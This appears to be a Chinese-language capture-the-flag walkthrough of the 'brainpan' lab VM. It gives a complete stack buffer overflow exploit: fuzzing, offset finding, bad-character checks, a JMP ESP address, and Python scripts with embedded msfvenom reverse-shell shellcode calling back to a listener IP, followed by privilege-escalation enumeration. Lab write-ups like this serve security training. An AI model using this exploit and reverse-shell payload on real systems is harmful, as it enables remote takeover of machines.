brainpan(栈溢出)

题外话:人生其实很简单,想要的就去争取,得到了就珍惜,失去了就忘记。

192.168.67.130

1
2
3
PORT      STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt


http://192.168.67.130:10000

nc 192.168.67.130 9999

根据nc连接结果来看,brainpan.exe就是9999端口上运行的程序。
但是我们不知道密码,于是要通过逆向来获取。

brainpan.exe

file

1
2
file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

windows 32位程序

strings

strings brainpan.exe

查看程序的字符串,确认该程序就是目标主机9999端口运行的。

动态分析

本地windows机器做目标机,kali做攻击机。对程序进行动态调试。

windows主机,用调试器打开该程序

kali连接windows主机的9999端口

demo.py让程序报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

host = "192.168.67.1"

buffer = "A"*4000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."

s.connect((host, 9999))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

d2.py 找到EIP

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000运行该命令,生成4000字节字符串。

修改demo.py的这一行

1
buffer = "生成的字符串”

运行demo.py,得到报错的地址35724134

1
2
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4000 -q 35724134
[*] Exact match at offset 524

d3.py 确认EIP

修改demo.py的这一行

1
buffer = "A"*524 + "B"*4

运行demo.py,确保EIP地址被B字符串覆盖。

d4.py 检查坏字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python
import socket

host = "192.168.67.1"

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A"*524 + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."

s.connect((host, 9999))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

右上角寄存器面板,看到EDX寄存器的值为“AAAAAAAAAAAAAAAA…”,于是选中EDX,右键 follow in dump,左下角翻到A字符串的结尾。

查看发送的字符,从01开头,ff结尾,没有找到坏字符。一般来说\x00是坏字符,忘记加到字符里检查了,下次注意。

生成shellcode

nmap -O 192.168.67.130

这里有一点迷茫,因为IP为192.168.67.130的目标主机,看起来是个linux主机,但是运行的程序brainpan.exe却是一个windows 32的应用程序。

所以到底该生成linux的shellcode,还是windows的shellcode?

不管了,先生成windows的shellcode,在本地192.168.67.1的windows主机尝试是否能反弹shell吧。

1
2
3
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.67.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

生成了shellcode,注意去除坏字符\x00

找到JMP ESP

JMP ESP 是跳转到栈顶寄存器的汇编指令。
因为栈顶的内存地址是动态的,而程序的JMP ESP指令是相对固定的。
可以利用该指令来跳转到栈顶的位置。这可以方便我们定位内存地址,利于exp的编写。

1
2
3
4
5
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

JMP ESP

将汇编指令转换为十六进制的\xff\xe4

immunity debugger

1
2
3
4
5
!mona modules

!mona find -s "\xff\xe4" -m brainpan.exe

找到jmp esp指令的具体地址0x311712f3

d5.py

将上述得到的信息结合起来,EIP跳转地址——栈顶0x311712f3,栈长度524,没有坏字符的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python
import socket
from struct import pack

host = "192.168.67.1" #有bof漏洞的目标主机IP

shellcode ="\xba\x83\x2c\x49\xdd\xdb\xd8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
shellcode +="\x52\x83\xc6\x04\x31\x56\x0e\x03\xd5\x22\xab\x28\x25\xd2\xa9"
shellcode +="\xd3\xd5\x23\xce\x5a\x30\x12\xce\x39\x31\x05\xfe\x4a\x17\xaa"
shellcode +="\x75\x1e\x83\x39\xfb\xb7\xa4\x8a\xb6\xe1\x8b\x0b\xea\xd2\x8a"
shellcode +="\x8f\xf1\x06\x6c\xb1\x39\x5b\x6d\xf6\x24\x96\x3f\xaf\x23\x05"
shellcode +="\xaf\xc4\x7e\x96\x44\x96\x6f\x9e\xb9\x6f\x91\x8f\x6c\xfb\xc8"
shellcode +="\x0f\x8f\x28\x61\x06\x97\x2d\x4c\xd0\x2c\x85\x3a\xe3\xe4\xd7"
shellcode +="\xc3\x48\xc9\xd7\x31\x90\x0e\xdf\xa9\xe7\x66\x23\x57\xf0\xbd"
shellcode +="\x59\x83\x75\x25\xf9\x40\x2d\x81\xfb\x85\xa8\x42\xf7\x62\xbe"
shellcode +="\x0c\x14\x74\x13\x27\x20\xfd\x92\xe7\xa0\x45\xb1\x23\xe8\x1e"
shellcode +="\xd8\x72\x54\xf0\xe5\x64\x37\xad\x43\xef\xda\xba\xf9\xb2\xb2"
shellcode +="\x0f\x30\x4c\x43\x18\x43\x3f\x71\x87\xff\xd7\x39\x40\x26\x20"
shellcode +="\x3d\x7b\x9e\xbe\xc0\x84\xdf\x97\x06\xd0\x8f\x8f\xaf\x59\x44"
shellcode +="\x4f\x4f\x8c\xcb\x1f\xff\x7f\xac\xcf\xbf\x2f\x44\x05\x30\x0f"
shellcode +="\x74\x26\x9a\x38\x1f\xdd\x4d\x87\x48\x9e\x0d\x6f\x8b\x20\x0f"
shellcode +="\xcb\x02\xc6\x65\x3b\x43\x51\x12\xa2\xce\x29\x83\x2b\xc5\x54"
shellcode +="\x83\xa0\xea\xa9\x4a\x41\x86\xb9\x3b\xa1\xdd\xe3\xea\xbe\xcb"
shellcode +="\x8b\x71\x2c\x90\x4b\xff\x4d\x0f\x1c\xa8\xa0\x46\xc8\x44\x9a"
shellcode +="\xf0\xee\x94\x7a\x3a\xaa\x42\xbf\xc5\x33\x06\xfb\xe1\x23\xde"
shellcode +="\x04\xae\x17\x8e\x52\x78\xc1\x68\x0d\xca\xbb\x22\xe2\x84\x2b"
shellcode +="\xb2\xc8\x16\x2d\xbb\x04\xe1\xd1\x0a\xf1\xb4\xee\xa3\x95\x30"
shellcode +="\x97\xd9\x05\xbe\x42\x5a\x35\xf5\xce\xcb\xde\x50\x9b\x49\x83"
shellcode +="\x62\x76\x8d\xba\xe0\x72\x6e\x39\xf8\xf7\x6b\x05\xbe\xe4\x01"
shellcode +="\x16\x2b\x0a\xb5\x17\x7e"

buffersize = 524

eip = pack('<L', 0x311712f3)
buffer = "\x41"*buffersize + eip + "\x90" *16+shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
print len(shellcode)
s.connect((host, 9999))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"

执行后成功反弹shell。原理就不解释了,看以前的文章。

d6.py

在本地windows运行成功后,把shellcode改为linux的

msfvenom -l payload | grep linux

1
2
3
LHOST是kali的IP
LHOST是kali的监听端口
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.67.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c


成功进行栈溢出。

wine

cat /home/puck/*.sh

1
2
3
4
5
6
7
8
9
10
11
if [[ $? -eq 1 ]]; then 
pid=`ps aux | grep brainpan.exe | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
killall wineserver
killall winedevice.exe
fi
/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi

可以看到使用wine,在linux平台执行了exe程序

suid提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
python -c 'import pty; pty.spawn("/bin/bash")'
---
find / -perm -4000 2>/dev/null
查看有suid权限的程序
---
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

file /home/anansi/bin/anansi_util
无权限查看
---
sh /home/anansi/bin/anansi_util
sh: 0: Can't open /home/anansi/bin/anansi_util
---
cd /home/anansi
无权限
---
cat /etc/passwd | grep home

reynard:x:1000:1000:Reynard,,,:/home/reynard:/bin/bash
anansi:x:1001:1001:Anansi,,,:/home/anansi:/bin/bash
puck:x:1002:1002:Puck,,,:/home/puck:/bin/bash
找到三个普通用户
---
file /usr/local/bin/validate
cd /usr/local/bin;./validate

结果
validating input...passed.

无论输入什么,都显示上述一行,经过测试它有溢出错误。
详情看下一篇文章